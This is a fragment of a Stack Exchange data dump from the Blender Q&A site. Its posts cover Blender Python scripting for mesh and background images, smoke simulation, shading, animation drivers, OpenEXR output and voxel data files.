  <row Id="3657" PostTypeId="2" ParentId="3637" CreationDate="2013-11-02T15:55:40.973" Score="3" Body="&lt;p&gt;I waited before posting this in case a better answer came up.  Since no one posted anything, here is something. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found the following code on &lt;a href=&quot;http://davidejones.com&quot; rel=&quot;nofollow&quot;&gt;http://davidejones.com&lt;/a&gt;.  It is definitely not 100% alright so far as OpenGL goes, but it does run so far as Blender is concerned. It may help you get started until someone who knows what they are doing shows up.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I see right away, when I look at the output, is that this code is printing out all of the redundant normals and UV coords but not those of the vertices.  Since the stride of the different attributes does not match, you can't make a VBO from this code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;obj = bpy.data.objects['Cube']&#xA;mesh = obj.data&#xA;&#xA;normals = []&#xA;indices = []&#xA;for face in mesh.polygons:&#xA;    indices.append(face.vertices[0])&#xA;    indices.append(face.vertices[1])&#xA;    indices.append(face.vertices[2])&#xA;    for i in range(len(face.vertices)):&#xA;        v = mesh.vertices[face.vertices[i]]&#xA;        normals.append([v.normal[0],v.normal[1],v.normal[2]])&#xA;&#xA;verts = []&#xA;for vert in mesh.vertices:&#xA;    verts.append(vert.co.xyz)&#xA;&#xA;uvs = []&#xA;for uv_layer in mesh.uv_layers:&#xA;    for x in range(len(uv_layer.data)):&#xA;        uvs.append(uv_layer.data[x].uv)&#xA;&#xA;print(indices)&#xA;print(verts)&#xA;print(uvs)&#xA;print(normals)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2013-11-02T16:03:41.897" LastActivityDate="2013-11-02T16:03:41.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3658" PostTypeId="2" ParentId="3637" CreationDate="2013-11-02T16:02:35.077" Score="2" Body="&lt;p&gt;There is also the following code which I found at a Blender scripting website.&#xA;&lt;a href=&quot;http://blenderscripting.blogspot.ca/2011/05/blender-25-python-printing-vertex.html&quot; rel=&quot;nofollow&quot;&gt;http://blenderscripting.blogspot.ca/2011/05/blender-25-python-printing-vertex.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ran this script through Blender and the console output looks sensible.  The indices match the previous code example.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy  &#xA;&#xA;current_obj = bpy.context.active_object  &#xA;&#xA;print(&quot;=&quot;*40) # printing marker  &#xA;for face in current_obj.data.polygons:  &#xA;    verts_in_face = face.vertices[:]  &#xA;    print(&quot;face index&quot;, face.index)  &#xA;    print(&quot;normal&quot;, face.normal)  &#xA;    for vert in verts_in_face:  &#xA;        print(&quot;vert&quot;, vert, &quot; vert co&quot;, current_obj.data.vertices[vert].co)  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2013-11-02T16:02:35.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3659" PostTypeId="1" AcceptedAnswerId="3680" CreationDate="2013-11-02T16:51:44.380" Score="2" ViewCount="619" Body="&lt;p&gt;Is it possible to set the size of particles in the smoke simulation settings according to particle lifetime?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/O6Hbp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g. to make particles emit less smoke over time and gradually fade away, rather than suddenly disappearing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-07-02T22:53:36.820" Title="Drive/animate smoke size according to particle lifetime?" Tags="&lt;particles&gt;&lt;smoke-simulation&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3660" PostTypeId="1" AcceptedAnswerId="3661" CreationDate="2013-11-02T17:03:08.687" Score="2" ViewCount="2019" Body="&lt;p&gt;Prompted by my &lt;a href=&quot;https://blender.stackexchange.com/questions/3339/drag-background-images-in-3d-view&quot;&gt;previous question&lt;/a&gt;, I was trying to create an addon to move background images with the mouse.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I can't figure out a good way to determine what image to move.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought I might somehow add a button to each background image panel in &lt;em&gt;3D view &gt; Properties region&lt;/em&gt;, but is there a way to get which image's button was pressed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a modal operator (based on the template) that picks an image based on a bunch of hacks that fail in too many situations:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy, math&#xA;from bpy.props import IntProperty, FloatProperty&#xA;&#xA;&#xA;class MoveBackgroundImage(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Move background images with the mouse&quot;&quot;&quot;&#xA;    bl_idname = &quot;view3d.background_image_move&quot;&#xA;    bl_label = &quot;Move backgound image&quot;&#xA;&#xA;    first_mouse_x = IntProperty()&#xA;    first_mouse_y = IntProperty()&#xA;    first_x = FloatProperty()&#xA;    first_y = FloatProperty()&#xA;&#xA;    def modal(self, context, event):&#xA;        if event.type == 'MOUSEMOVE':&#xA;            delta_x = self.first_mouse_x - event.mouse_x&#xA;            delta_y = self.first_mouse_y - event.mouse_y&#xA;            if event.shift:&#xA;                backimage.offset_x = self.first_x - delta_x * 0.01&#xA;                backimage.offset_y = self.first_y - delta_y * 0.01&#xA;            else:&#xA;                backimage.offset_x = self.first_x - delta_x * 0.05&#xA;                backimage.offset_y = self.first_y - delta_y * 0.05&#xA;#                backimage.size = self.first_y - delta_y * 0.05&#xA;&#xA;        elif event.type == 'LEFTMOUSE':&#xA;            return {'FINISHED'}&#xA;&#xA;        elif event.type in {'RIGHTMOUSE', 'ESC'}:&#xA;            backimage.offset_x = self.first_x&#xA;            backimage.offset_y = self.first_y&#xA;            return {'CANCELLED'}&#xA;&#xA;        return {'RUNNING_MODAL'}&#xA;&#xA;    def invoke(self, context, event):&#xA;        go_hack = 0&#xA;        def get_view_orientation(view_matrix):&#xA;            r = lambda x: round(x, 2)&#xA;            view_rot = view_matrix.to_euler()&#xA;&#xA;            orientation_dict = {(0.0, 0.0, 0.0) : 'TOP',&#xA;                                (r(math.pi), 0.0, 0.0) : 'BOTTOM',&#xA;                                (r(-math.pi/2), 0.0, 0.0) : 'FRONT',&#xA;                                (r(math.pi/2), 0.0, r(-math.pi)) : 'BACK',&#xA;                                (r(-math.pi/2), r(math.pi/2), 0.0) : 'LEFT',&#xA;                                (r(-math.pi/2), r(-math.pi/2), 0.0) : 'RIGHT'}&#xA;            return orientation_dict.get(tuple(map(r, view_rot)), 'UNDEFINED')&#xA;        for area in bpy.context.screen.areas:&#xA;            if area.type == 'VIEW_3D':&#xA;                for space in area.spaces:&#xA;                    if space.type == 'VIEW_3D':&#xA;                        vmatrix = space.region_3d.view_matrix&#xA;                        view_orientation = get_view_orientation(vmatrix)&#xA;                        view_persp = space.region_3d.view_perspective&#xA;                        global backimage&#xA;                        for bgimage in space.background_images:&#xA;                            fail_hack = 1&#xA;                            bgi_axis = bgimage.view_axis&#xA;                            expanded = bgimage.show_expanded&#xA;                            if view_persp == 'ORTHO':&#xA;                                go_hack = 1&#xA;                            if view_persp == 'CAMERA':&#xA;                                go_hack = 1&#xA;                            if go_hack == 1:&#xA;                                if expanded: #HACK&#xA;                                    if view_orientation != 'UNDEFINED':&#xA;                                        if view_orientation == bgi_axis:&#xA;                                            fail_hack = 0&#xA;                                            backimage = bgimage&#xA;                                            self.first_mouse_x = event.mouse_x&#xA;                                            self.first_mouse_y = event.mouse_y&#xA;                                            self.first_x = backimage.offset_x&#xA;                                            self.first_y = backimage.offset_y&#xA;&#xA;                                            context.window_manager.modal_handler_add(self)&#xA;                                            return {'RUNNING_MODAL'}&#xA;                                        else:&#xA;                                            fail_hack = 1&#xA;                                            fail_message = &quot;No active image, could not finish&quot;&#xA;                                    else:&#xA;                                        if view_persp == 'CAMERA':&#xA;                                            if bgi_axis == 'CAMERA':&#xA;                                                fail_hack = 0&#xA;                                                backimage = bgimage&#xA;                                                self.first_mouse_x = event.mouse_x&#xA;                                                self.first_mouse_y = event.mouse_y&#xA;                                                self.first_x = backimage.offset_x&#xA;                                                self.first_y = backimage.offset_y&#xA;                                                context.window_manager.modal_handler_add(self)&#xA;                                                return {'RUNNING_MODAL'}&#xA;                                            else:&#xA;                                                fail_hack = 1&#xA;                                                fail_message = &quot;No images visible in camera view&quot;&#xA;                                            if bgi_axis == 'ALL':&#xA;                                                fail_hack = 0&#xA;                                                backimage = bgimage&#xA;                                                self.first_mouse_x = event.mouse_x&#xA;                                                self.first_mouse_y = event.mouse_y&#xA;                                                self.first_x = backimage.offset_x&#xA;                                                self.first_y = backimage.offset_y&#xA;                                                context.window_manager.modal_handler_add(self)&#xA;                                                return {'RUNNING_MODAL'}&#xA;                                            else:&#xA;                                                fail_hack = 1&#xA;                                                fail_message = &quot;No images visible in camera view&quot;&#xA;                                        else:&#xA;                                            fail_hack = 1&#xA;                                            fail_message = &quot;View not aligned to an axis, no images visible&quot;&#xA;                                else:&#xA;                                    fail_hack = 1&#xA;                                    fail_message = &quot;No active image, could not finish&quot;&#xA;                            else:&#xA;                                fail_hack = 1&#xA;                                fail_message = &quot;View not in ortho or camera perspective&quot;&#xA;                        if fail_hack == 1:&#xA;                            self.report({'WARNING'}, fail_message)&#xA;                            return {'CANCELLED'}&#xA;def register():&#xA;    bpy.utils.register_class(MoveBackgroundImage)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(MoveBackgroundImage)&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&#xA;    # test call&#xA;    bpy.ops.view3d.background_image_move('INVOKE_DEFAULT')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2014-04-21T00:33:02.223" Title="Determine which button was pressed from python" Tags="&lt;python&gt;&lt;scripting&gt;&lt;interface&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3661" PostTypeId="2" ParentId="3660" CreationDate="2013-11-02T20:17:34.737" Score="2" Body="&lt;p&gt;Looking at &lt;code&gt;space_view3d.py&lt;/code&gt;, I suggest you add a button for each background image and pass the index to your operator.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    def draw(self, context):&#xA;        layout = self.layout&#xA;&#xA;        view = context.space_data&#xA;&#xA;        col = layout.column()&#xA;        col.operator(&quot;view3d.background_image_add&quot;, text=&quot;Add Image&quot;)&#xA;&#xA;        for i, bg in enumerate(view.background_images):&#xA;            # ...&#xA;            box.operator(&quot;view3d.background_image_move&quot;).index = i&#xA;            # ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In your operator:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class MoveBackgroundImage(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Move background images with the mouse&quot;&quot;&quot;&#xA;    bl_idname = &quot;view3d.background_image_move&quot;&#xA;    bl_label = &quot;Move backgound image&quot;&#xA;&#xA;    index = bpy.props.IntProperty(name=&quot;Background image index&quot;, default=-1)&#xA;&#xA;    # ...&#xA;&#xA;    def invoke(self, context, event):&#xA;&#xA;        #...&#xA;        if self.index &amp;lt; 0:&#xA;            print(&quot;No valid background image index given&quot;)&#xA;            return {'CANCELLED'}&#xA;&#xA;        try:&#xA;            backimage = space.background_images[self.index]&#xA;        except IndexError:&#xA;            print(&quot;No background image with index %i&quot; % self.index)&#xA;            return {'CANCELLED'}&#xA;&#xA;        # use backimage below&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The index number used for the operator button in the &lt;code&gt;space_view3d.py&lt;/code&gt; panel will always be up to date, since it is in the &lt;code&gt;draw()&lt;/code&gt; function, which is called whenever a background image is added or removed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The additional checks for the index in the operator are only needed if the op is used with python - you could use an invalid index as argument. But should always be valid if you use the button in the sidebar panel.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Here's a working script that moves the background image relative to cursor:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from mathutils import Vector&#xA;from bpy.props import IntProperty, FloatProperty&#xA;from bpy_extras.view3d_utils import region_2d_to_location_3d&#xA;&#xA;&#xA;class ModalOperator(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Move an object with the mouse, example&quot;&quot;&quot;&#xA;    bl_idname = &quot;object.modal_operator&quot;&#xA;    bl_label = &quot;Simple Modal Operator&quot;&#xA;&#xA;    first_mouse_x = IntProperty()&#xA;    first_mouse_y = IntProperty()&#xA;    first_value_x = FloatProperty()&#xA;    first_value_y = FloatProperty()&#xA;&#xA;    def region_to_view(self, context, event):&#xA;&#xA;        x, y = context.space_data.background_images[0].image.size&#xA;        aspect_ratio = x / y&#xA;&#xA;        loc = region_2d_to_location_3d(context.region, context.space_data.region_3d, (event.mouse_region_x, event.mouse_region_y * aspect_ratio), Vector()).to_2d() # works for top view only, need axis mapping here&#xA;        offset = region_2d_to_location_3d(context.region, context.space_data.region_3d, (self.first_mouse_x, self.first_mouse_y * aspect_ratio), Vector()).to_2d() # ... and here too&#xA;&#xA;        return (loc - offset + Vector((self.first_value_x, self.first_value_y)))&#xA;&#xA;    def modal(self, context, event):&#xA;        bg = context.space_data.background_images[0]&#xA;&#xA;        if event.type == 'MOUSEMOVE':&#xA;            bg.offset_x, bg.offset_y = self.region_to_view(context, event)&#xA;&#xA;        elif event.type == 'LEFTMOUSE':&#xA;            return {'FINISHED'}&#xA;&#xA;        elif event.type in {'RIGHTMOUSE', 'ESC'}:&#xA;            bg.offset_x = self.first_value_x&#xA;            bg.offset_y = self.first_value_y&#xA;            return {'CANCELLED'}&#xA;&#xA;        return {'RUNNING_MODAL'}&#xA;&#xA;    def invoke(self, context, event):&#xA;        bg = context.space_data.background_images[0]&#xA;        if context.object:&#xA;            self.first_mouse_x = event.mouse_region_x&#xA;            self.first_mouse_y = event.mouse_region_y&#xA;            self.first_value_x = bg.offset_x&#xA;            self.first_value_y = bg.offset_y&#xA;&#xA;            context.window_manager.modal_handler_add(self)&#xA;            return {'RUNNING_MODAL'}&#xA;        else:&#xA;            self.report({'WARNING'}, &quot;No active object, could not finish&quot;)&#xA;            return {'CANCELLED'}&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(ModalOperator)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(ModalOperator)&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that it works on the first background image and top view only (you need to add axis mapping, view to screen).&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2014-04-21T00:33:02.223" LastActivityDate="2014-04-21T00:33:02.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3662" PostTypeId="2" ParentId="3621" CreationDate="2013-11-02T22:48:58.787" Score="1" Body="&lt;p&gt;I think this is about the closest you can get with Cycles, but I'd love to be wrong. &lt;img src=&quot;https://i.stack.imgur.com/miumP.jpg&quot; alt=&quot;florescent Suzanne&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It uses the refraction shader mixed with diffusion to get the basic texture, and the glossy shader to get the actual &quot;florescence&quot; (and the color that it will fluoresce). &lt;img src=&quot;https://i.stack.imgur.com/TvctK.png&quot; alt=&quot;node setup&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The spheres and the plane at the bottom are all emitters, and you can see that the Suzanne mesh is a reddish hue where it catches light from the yellow sphere, and blue-purple where it catches the cyan sphere. This scene was rendered with 500 samples, no caustics, and blur glossy set to between 5 and 10. You can still see a bit of noise on Suzanne's head.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think that adding the shaders to themselves should result in more light being &quot;emitted&quot; than received, but I'm not certain. If not, then there might not be a way to do that at present. It would be great if Blender had more ways to adjust the output from shader nodes, and more data on rays (besides length and type).&lt;/p&gt;&#xA;" OwnerUserId="1473" LastActivityDate="2013-11-02T22:48:58.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3663" PostTypeId="1" AcceptedAnswerId="3664" CreationDate="2013-11-02T23:54:16.107" Score="29" ViewCount="109442" Body="&lt;p&gt;In earlier Blender versions, the &quot;Transform Properties&quot; panel showed the object dimensions (i.e., bounding box: width, height, depth).  Now, it just shows location, rotation, and scale.&lt;/p&gt;&#xA;" OwnerUserId="1521" LastEditorUserId="12" LastEditDate="2013-11-03T00:42:28.480" LastActivityDate="2021-01-19T12:06:51.310" Title="Where can I find the dimensions of an object?" Tags="&lt;interface&gt;&lt;transforms&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3664" PostTypeId="2" ParentId="3663" CreationDate="2013-11-03T00:21:35.193" Score="45" Body="&lt;p&gt;Press &lt;kbd&gt;N&lt;/kbd&gt; to bring up the &lt;em&gt;Properties Panel&lt;/em&gt; of the 3D View, the &lt;em&gt;Dimensions&lt;/em&gt; are listed below &lt;em&gt;Scale&lt;/em&gt; in the &lt;em&gt;Transform&lt;/em&gt; panel (bottom right):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TirnA.png&quot; alt=&quot;3D View with N-panel opened&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2013-11-03T11:13:47.467" LastActivityDate="2013-11-03T11:13:47.467" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3665" PostTypeId="2" ParentId="3621" CreationDate="2013-11-03T00:49:05.243" Score="2" Body="&lt;p&gt;Fluorescence is emission of light, so it would be natural to use emitter shader with the right rgb value mixed with other shaders -- it should give an accurate emulation of the phenomena. Please note that fluorescence includes time component, so the object might emit more light than it receives at the moment, if it was subjected to source of light earlier.&lt;/p&gt;&#xA;" OwnerUserId="1311" LastEditorUserId="1311" LastEditDate="2013-11-03T00:54:16.897" LastActivityDate="2013-11-03T00:54:16.897" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3666" PostTypeId="1" CreationDate="2013-11-03T01:10:01.903" Score="2" ViewCount="2067" Body="&lt;p&gt;OpenEXR Multilayer can store many frames in one file, so it should be possible to store many render passes for the whole strip when rendering animation or movie. However when I check in &lt;em&gt;Properties-&gt;Render-&gt;Output&lt;/em&gt; -- there is no such option as to store movie in OpenEXR Multilayer. If I select OpenExr Multilayer and then render animation -- I get multiple EXR files instead of one. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I do to save movie to OpenEXR Multilayer format?&lt;/p&gt;&#xA;" OwnerUserId="1311" LastEditorUserId="599" LastEditDate="2013-11-04T23:24:30.127" LastActivityDate="2015-03-31T16:19:33.850" Title="How to save a movie/animation to OpenEXR?" Tags="&lt;rendering&gt;&lt;animation&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3667" PostTypeId="2" ParentId="3666" CreationDate="2013-11-03T01:32:25.653" Score="3" Body="&lt;p&gt;You just render the movie to an image sequence.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OpenEXR is intended for still images, I'm not sure of the benefit of storing an entire animation in a single OpenEXR file, as far as I know, no other applications use OpenEXR this way either (feel free to correct me, but I didn't hear of anyone doing this).&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-11-03T01:32:25.653" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3668" PostTypeId="2" ParentId="3643" CreationDate="2013-11-03T03:06:32.543" Score="2" Body="&lt;p&gt;I went through every setting and the only difference that I can see is the one of them has the &lt;em&gt;Texture Brush Mapping&lt;/em&gt; set to &lt;em&gt;View Plane&lt;/em&gt; and one has this value set to be &lt;em&gt;Tiled&lt;/em&gt;. This is not significant enough to justify an extra brush. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm guessing that this is just an oversight from some testing a developer was working on but you'd likely have to ask one of them.  I think Psy-Fi is doing most of the &lt;em&gt;Brush Tools&lt;/em&gt; work right now. He is usually on IRC in #blendercoders on freenode. You could drop by and ask. I suspect that he is top of the food chain so far as this question goes.&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="12" LastEditDate="2013-11-20T22:17:08.227" LastActivityDate="2013-11-20T22:17:08.227" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3669" PostTypeId="1" CreationDate="2013-11-03T04:49:14.447" Score="8" ViewCount="1715" Body="&lt;p&gt;Is there any way to cause (or fake) light emission from the fire within a smoke simulation? Obviously smoke doesn't work in Cycles but is it possible in &lt;strong&gt;BI&lt;/strong&gt; for the flames to contribute light to the scene in the same way that &lt;strong&gt;FumeFX&lt;/strong&gt; does in &lt;strong&gt;3ds Max&lt;/strong&gt;? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively is it possible to convert a flame into a cloud of particles in order to hack this somehow on a different pass?&lt;/p&gt;&#xA;" OwnerUserId="1519" LastEditorUserId="185" LastEditDate="2013-11-03T09:57:43.140" LastActivityDate="2014-04-11T21:28:37.183" Title="Can I make smoke to cast light?" Tags="&lt;light&gt;&lt;blender-internal-render-engine&gt;&lt;smoke-simulation&gt;" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="3670" PostTypeId="2" ParentId="3643" CreationDate="2013-11-03T11:21:26.643" Score="4" Body="&lt;p&gt;There's no practical difference so far as I know. Other brush types also have this apparent duplication, for example texture paint and vertex paint have both a &lt;em&gt;Draw&lt;/em&gt; and a &lt;em&gt;Mix&lt;/em&gt; brush that do the same thing.&lt;/p&gt;&#xA;" OwnerUserId="1440" LastEditorUserId="599" LastEditDate="2013-11-20T22:21:59.620" LastActivityDate="2013-11-20T22:21:59.620" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3672" PostTypeId="1" CreationDate="2013-11-03T13:58:33.957" Score="6" ViewCount="223" Body="&lt;p&gt;&lt;strong&gt;The problem:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a number of mesh objects with the Edit Object -&gt; Add object actuator in the Blender game scene. I then modify the vertices in one of them, trying to change the vertices of only that mesh object. All of the copies of the object are modified as a result instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The question:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make the mesh objects individually modifiable?&lt;/p&gt;&#xA;" OwnerUserId="311" LastEditorUserId="151" LastEditDate="2014-03-14T14:30:57.920" LastActivityDate="2014-03-14T20:00:58.477" Title="Is there a way to individually modify n objects with the same origin object in game engine?" Tags="&lt;mesh&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3673" PostTypeId="1" AcceptedAnswerId="3678" CreationDate="2013-11-03T17:18:57.520" Score="10" ViewCount="4632" Body="&lt;p&gt;This script in the Python console:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; pixels = D.images[-1].pixels&#xA;&amp;gt;&amp;gt;&amp;gt; len(pixels)&#xA;8294400&#xA;&#xA;&amp;gt;&amp;gt;&amp;gt; for i in range(64):&#xA;...     dummy = pixels[i]&#xA;...&#xA;&amp;gt;&amp;gt;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;takes over two seconds to run the &lt;code&gt;for&lt;/code&gt; loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, running &lt;code&gt;pixels = [0 for i in range(len(pixels))]&lt;/code&gt; before the &lt;code&gt;for&lt;/code&gt; loop causes the script to finish instantly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's going on with the Blender Python image pixel access, and how can I speed it up?&lt;/p&gt;&#xA;" OwnerUserId="372" LastActivityDate="2015-07-20T12:26:57.500" Title="Why is accessing image data so slow?" Tags="&lt;python&gt;&lt;image&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3674" PostTypeId="2" ParentId="3643" CreationDate="2013-11-03T17:21:52.787" Score="6" Body="&lt;p&gt;Other than a couple of adjustable default settings, this looks like the only difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7n57F.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1456" LastActivityDate="2013-11-03T17:21:52.787" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3675" PostTypeId="2" ParentId="2788" CreationDate="2013-11-03T18:06:33.867" Score="3" Body="&lt;p&gt;Another way to do this (building on &lt;a href=&quot;https://blender.stackexchange.com/a/2790/372&quot;&gt;ideasman42's answer&lt;/a&gt;) would be to forsake Python altogether and use a couple different aspects of the driver interface: the polynomial generator and the transform channel option.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Why?&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Python is &lt;a href=&quot;https://blender.stackexchange.com/q/1903/372&quot;&gt;not automatically enabled anymore&lt;/a&gt;.&lt;/strong&gt; Your blendfile must be opened as &quot;trusted&quot; for any Python drivers or scripts to run.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;It's more elegant.&lt;/strong&gt; There's no need to use Python when all you want to do is a bit of math. This also makes it more legible (someone who doesn't know Python might have no idea what &lt;code&gt;var**2/5&lt;/code&gt; does), easier to maintain (there's a nice GUI interface instead of having to modify a scriptlet), and more flexible (you could easily change this to a cubic, quartic, etc. equation just by entering the coefficients; &lt;code&gt;var**5/3+var**4*0.34-var**3/2+...&lt;/code&gt; doesn't look nearly as nice).&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;It could be faster.&lt;/strong&gt; I don't know how or if the driver system optimizes the driver instructions, but it's &lt;a href=&quot;https://stackoverflow.com/questions/1582356/fastest-way-of-finding-the-middle-value-of-a-triple#comment1444816_1582524&quot;&gt;certainly more likely&lt;/a&gt; that an explicitly specified arithmetic expression could be optimized than a Python-wrapped one.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;How?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;First, we'll change that RNA property to a vanilla &lt;em&gt;Transform Channel&lt;/em&gt; property, and eliminate the Python, like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Z0qWR.png&quot; alt=&quot;&amp;quot;Type&amp;quot; has been changed to &amp;quot;Average Value,&amp;quot; and the type of &amp;quot;var&amp;quot; has been set to &amp;quot;Transform Channel.&amp;quot; &amp;quot;X Location&amp;quot; and &amp;quot;World Space&amp;quot; are selected.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, we need to get that polynomial effect. Click &lt;em&gt;&lt;kbd&gt;Add Modifier&lt;/kbd&gt; &lt;kbd&gt;Generator&lt;/kbd&gt;&lt;/em&gt; and input the following settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pnCws.png&quot; alt=&quot;A &amp;quot;Polynomial Generator&amp;quot; modifier with the &amp;quot;Poly Order&amp;quot; set to 2 and the x-squared coefficient set to 0.4 (which is two-fifths).&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will have the desired effect.&lt;/p&gt;&#xA;" OwnerUserId="372" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:20.630" LastActivityDate="2013-11-03T18:06:33.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3676" PostTypeId="1" AcceptedAnswerId="3737" CreationDate="2013-11-03T19:10:01.830" Score="6" ViewCount="1015" Body="&lt;p&gt;I've been looking online for a long time, searching for documentation on the subject of Blender Voxel Data. So far, I know that Blender uses many file types, including the .bvox file type. For the .bvox file type, I have found that it uses ASCII characters to load in density values, starting with the dimensions. For example, a data set with dimensions 64,64,64 would save into the .bvox file as:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;@@@&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, only the density values are saved. The data set I have is formatted as follows, where dd is a density value:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;xx yy zz dd&#xA;xx yy zz dd&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My python code strips each line and takes only the density values and uses pythons pack struct to pack the values into a .bvox file. This works fine, but I am wondering how Blender knows where to put the coordinates of the densities? Each density value has to be at a specific point, and how does Blender know where that point is? And also, is it possible to specify my own coordinates for each value?&lt;/p&gt;&#xA;" OwnerUserId="1525" LastActivityDate="2013-11-07T09:44:26.420" Title="Setting Voxel Coordinates" Tags="&lt;python&gt;&lt;point-clouds&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
